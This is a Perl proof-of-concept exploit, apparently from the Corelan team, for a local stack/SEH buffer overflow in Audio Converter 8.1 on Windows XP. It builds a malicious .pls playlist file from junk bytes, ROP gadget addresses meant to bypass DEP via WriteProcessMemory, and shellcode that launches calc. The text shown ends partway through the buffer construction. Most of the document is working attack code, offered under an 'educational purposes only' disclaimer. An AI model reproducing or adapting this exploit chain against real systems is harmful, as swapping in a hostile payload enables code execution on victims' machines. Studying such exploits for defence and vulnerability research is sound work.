Audio Converter 8.1 – Local Stack Buffer Overflow ROP/WPM

#***********************************************************************************

# Exploit Title : Audio Converter 8.1 0day Stack Buffer Overflow PoC exploit ROP/WPM

# Date : 07/06/2010

# Author : Sud0

# Bug found by : chap0

# Software Link : http://download.cnet.com/Audio-Converter/3000-2140_4-10045287.html

# Version : 8.1

# OS : Windows

# Tested on : XP SP3 En (VirtualBox)

# Type of vuln : SEH

# Thanks to my wife for her support

# Thanks for chap0 for bringing us the game

# Greetz to: Corelan Security Team

# mr_me you'r killing the ROP bro :)

# http://www.corelan.be:8800/index.php/security/corelan-team-members/

# Using ROP to bypass DEP protection and call WPM

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# Script provided 'as is', without any warranty.

# Use for educational purposes only.

# Do not use this code to do anything illegal !

# Corelan does not want anyone to use this script

# for malicious and/or illegal purposes

# Corelan cannot be held responsible for any illegal use.

#

# Note : you are not allowed to edit/modify this code.

# If you do, Corelan cannot be held responsible for any damages this may cause.

#***********************************************************************************

#code :

print "|------------------------------------------------------------------|\n";

print "| __ __ |\n";

print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |\n";

print "| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n";

print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\n";

print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\n";

print "| |\n";

print "| http://www.corelan.be:8800 |\n";

print "| |\n";

print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";

print "[+] Exploit for .... \n";

my $filename="newaudio.pls";

# Small Shellcode to run calc

my $shellcode = "\x8B\xEC\x55\x8B\xEC\x68\x20\x20\x20\x2F\x68\x63\x61\x6C\x63\x8D\x45\xF8\x50\xB8\xC7\x93\xC2\x77\xFF\xD0";

my $buffer = "A" x 280; # some junk

$buffer .= "\x31\x2A\x00\x10"; # mov eax,ebp / pop ebp / retn4

$buffer .= "B" x 12; # some junk

$buffer .= "\x1D\xA4\x07\x10"; # add eax,100 / pop ebp / retn

$buffer .= "B" x 8; # some junk